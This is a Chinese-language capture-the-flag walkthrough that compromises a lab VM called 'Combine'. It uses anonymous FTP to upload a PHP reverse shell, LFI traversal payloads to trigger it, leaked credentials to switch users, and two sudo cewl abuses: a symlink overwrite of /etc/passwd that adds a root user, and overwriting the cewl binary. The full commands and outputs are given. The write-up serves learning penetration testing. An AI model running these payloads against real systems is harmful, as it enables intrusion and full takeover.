一、信息收集

首先，在目标网段内使用`arp-scan`进行主机发现，确定目标主机的IP地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:e0:e6:bb       VMware, Inc.
192.168.205.252 08:00:27:34:89:3e       PCS Systemtechnik GmbH
192.168.205.254 00:50:56:ec:fc:46       VMware, Inc.
...
```

发现目标主机IP为`192.168.205.252`。

接下来，使用`nmap`对目标主机进行全端口扫描，以探测其开放的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.252
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 20:14 CST
Nmap scan report for 192.168.205.252
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:34:89:3E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds```
```

扫描结果显示，目标主机开放了21 (FTP)、22 (SSH) 和 80 (HTTP) 端口。

二、漏洞发现与利用

1. FTP匿名登录与信息泄露

尝试对FTP服务进行匿名登录。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ftp anonymous@192.168.205.252
Connected to 192.168.205.252.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
...
drwxrwxrwx    2 65534    65534        4096 Oct 11 12:13 upload
...
```

```
ftp> cd upload
250 Directory successfully changed.
ftp> ls -al
...
-rw-r--r--    1 0        0              16 Oct 10 13:08 .pwd
...
ftp> get .pwd
...
226 Transfer complete.
16 bytes received in 00:00 (24.14 KiB/s)
```

成功匿名登录FTP，发现一个名为`upload`的目录，且权限为777（可读可写可执行）。在该目录下，发现一个隐藏文件`.pwd`，下载后查看其内容。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat -A .pwd
/srv/ftp/upload$
```

文件内容为路径`/srv/ftp/upload`，这很可能是FTP `upload`目录在服务器上的绝对路径。这个信息对后续利用LFI漏洞至关重要。

2. Web服务LFI漏洞

访问80端口的Web服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -v 192.168.205.252
...
<!-- LFI -->
...
```

页面返回的HTML注释中存在`<!-- LFI -->`，强烈暗示该页面存在本地文件包含（Local File Inclusion）漏洞。使用`ffuf`工具对URL参数进行模糊测试，尝试读取`/etc/passwd`文件。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u 'http://192.168.205.252?FUZZ=....//....//....//etc/passwd' -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
--fs 14
...
file                    [Status: 200, Size: 1465, Words: 16, Lines: 30,
Duration: 2ms]
...
```

爆破成功，发现存在一个名为`file`的参数可用于文件包含。

3. 获取反向Shell

利用思路是：通过FTP上传一个PHP反向Shell到具有写权限的`upload`目录，然后通过LFI漏洞包含并执行该PHP文件，从而获取服务器的Shell。

a. 准备反向Shell并监听端口

在Kali上准备好`reverse.php`文件，并使用`nc`监听8888端口。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
```

b. FTP上传Shell

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ftp anonymous@192.168.205.252
...
230 Login successful.
ftp> cd upload
250 Directory successfully changed.
ftp> put reverse.php
...
226 Transfer complete.
```

c. 触发Shell

利用之前发现的LFI漏洞和FTP泄露的绝对路径，构造URL来执行`reverse.php`。使用`--path-as-is`选项防止`curl`对路径中的`../`进行标准化处理。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl --path-as-is 'http://192.168.205.252?
file=....//....//....//srv/ftp/upload/reverse.php'
```

d. 接收Shell

回到`nc`监听窗口，成功接收到反向Shell。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.252] 43474
Linux Combine 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
GNU/Linux
...
www-data@Combine:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

当前用户为`www-data`。为了方便操作，使用以下命令升级为一个稳定的交互式TTY Shell。

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

三、权限提升

1. www-data -> dashamao

在`www-data`用户下进行信息收集。在`/home/dashamao`目录下发现`note.txt`文件。

```
www-data@Combine:/home/dashamao$ cat note.txt
check backup folder
```

根据提示，检查`/var/backups`目录，发现一个可疑文件`apt.extended_states`。

```
www-data@Combine:/var/backups$ ls -al
...
-rw-r--r--  1 root root    18 Oct 10 09:11 apt.extended_states
...
www-data@Combine:/var/backups$ cat apt.extended_states
dashamao:myshadow
```

该文件泄露了用户`dashamao`的凭证。使用`su`命令和这个密码切换到`dashamao`用户。

```
www-data@Combine:/var/backups$ su dashamao
Password: myshadow
dashamao@Combine:~$ id
uid=1000(dashamao) gid=1000(dashamao) groups=1000(dashamao)
```

成功切换为`dashamao`用户。

2. dashamao -> root

检查`dashamao`用户的`sudo`权限。

```
dashamao@Combine:~$ sudo -l
...
User dashamao may run the following commands on Combine:
    (ALL) NOPASSWD: /usr/bin/cewl
```

发现`dashamao`可以免密码以root权限执行`/usr/bin/cewl`命令。`cewl`是一个爬取网站并生成密码字典的工具。这为提权提供了两种可行的方法。

方法一：利用`cewl`的元数据写入功能覆盖`/etc/passwd`

`cewl`在使用`--meta`和`--keep`参数时，会下载文件并将其保存在`--meta-temp-dir`指定的目录中。我们可以利用这个特性，结合符号链接，来覆盖任意文件。

```
# cewl.rb 中的相关源码片段

# ... (前面是处理HTTP请求的代码) ...

# 检查用户是否传递了 --meta 参数
if meta
  begin
    # 接着检查是否同时传递了 --keep 参数，并且文件扩展名是否在预设的列表中 (如.doc, .pdf等)
    # 这就是为什么我们将符号链接命名为 aaa.doc 来绕过这个检查
```

```
    if keep && file_extension =~ /^((doc|dot|ppt|pot|xls|xlt|pps)[xm]?)|
(ppam|xlsb|xlam|pdf|zip|gz|zip|bz2)$/

      # 使用正则表达式从完整的URL (a_url) 中提取文件名部分
      if /.*\/(.*)$/.match(a_url)
        # 从URL中匹配到的文件名部分会被存入变量 $1 (例如，从"http://.../aaa.doc"中提取
出"aaa.doc")

        # 漏洞触发的核心代码：
        # 它将用户指定的临时目录(meta_temp_dir)与从URL中提取的文件名($1)直接进行字符串拼
接，
        # 从而构造出最终要写入的本地文件路径。程序没有检查文件名是否为一个符号链接。
        output_filename = meta_temp_dir + $1

        # 如果启用了详细模式(verbose)，则打印出将要保存的文件路径
        puts "Keeping #{output_filename}" if verbose

        # ... (一些备用的文件名生成逻辑) ...

        # 以二进制写模式('wb')打开上面构造好的文件路径。
        # 由于 output_filename 指向一个符号链接，操作系统会自动将写入操作重定向到链接的真实
目标文件(/etc/passwd)。
        File.open(output_filename, 'wb') do |f|
          # 将从我们HTTP服务器上下载到的文件内容(resp.body)写入到打开的文件中。
          f.write(resp.body)
        end

        # ... (后面是尝试从下载的文件中提取元数据的代码) ...

      end
    end
  rescue => e
    # 异常处理
    puts "错误: 无法处理元数据 #{a_url} - #{e.message}" if verbose
  end
end
```

思路： 在目标机上创建一个指向 `/etc/passwd` 的符号链接 `aaa.doc`。然后在攻击机上创建一个包含新root用户条目的 `aaa.doc` 文件，并通过 `cewl` 的下载功能将攻击机上的文件内容写入目标机的 `/etc/passwd`。

a. 攻击机操作

创建一个包含新root用户 `b`（密码为 `abcdefg`）的 `passwd` 文件，并启动一个HTTP服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ echo 'b:$1$AydoDDh4$tEky6m30.OnY3HZ8FgoGI0:0:0::/root:/bin/bash' >> aaa.doc
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

b. 目标机操作

创建符号链接，并执行 `sudo cewl` 命令，从攻击机下载文件并覆盖 `/etc/passwd`。

```
dashamao@Combine:~$ ln -sf /etc/passwd aaa.doc
dashamao@Combine:~$ sudo /usr/bin/cewl http://192.168.205.128/aaa.doc --meta --
keep --meta-temp-dir /home/dashamao/
...
processing file: /home/dashamao/aaa.doc
```

c. 提权成功

检查`/etc/passwd`文件，确认新用户已添加。然后使用新用户`b`和密码`abcdefg`切换到root。

```
dashamao@Combine:~$ tail -1 /etc/passwd
b:$1$AydoDDh4$tEky6m30.OnY3HZ8FgoGI0:0:0::/root:/bin/bash
dashamao@Combine:~$ su b
Password: abcdefg
root@Combine:/home/dashamao# id
uid=0(root) gid=0(root) groups=0(root)
```

方法二：利用`cewl`的写文件功能覆盖自身

`cewl`的`-w`参数可以将爬取到的单词列表写入指定文件。因为我们能以root权限运行`cewl`，所以我们可以指定输出文件为`/usr/bin/cewl`本身，从而覆盖它。

思路： 在攻击机上创建一个内容为`bash`的文件。然后使用`sudo cewl`从攻击机获取这个"单词"并使用`-w`参数将其写入`/usr/bin/cewl`。这样，`/usr/bin/cewl`就变成了一个内容为`bash`的脚本。再次以root权限执行它，就会得到一个root shell。

a. 攻击机操作

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ echo 'bash'>a
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

b. 目标机操作

```
dashamao@Combine:~$ sudo /usr/bin/cewl http://192.168.205.128/a -w /usr/bin/cewl
...
dashamao@Combine:~$ cat /usr/bin/cewl
bash
```

c. 提权成功

再次执行`sudo /usr/bin/cewl`。

```
dashamao@Combine:~$ sudo /usr/bin/cewl
root@Combine:/home/dashamao# id
uid=0(root) gid=0(root) groups=0(root)
```

成功获取root权限。最后，读取flag文件。

```
root@Combine:/home/dashamao# cat /root/root.txt /home/dashamao/user.txt
flag{root-21c4f16ae4ebe48cfec8a6deb276b56b}
flag{user-4682ce07477fb95a0d4a9f84856ee52c}
```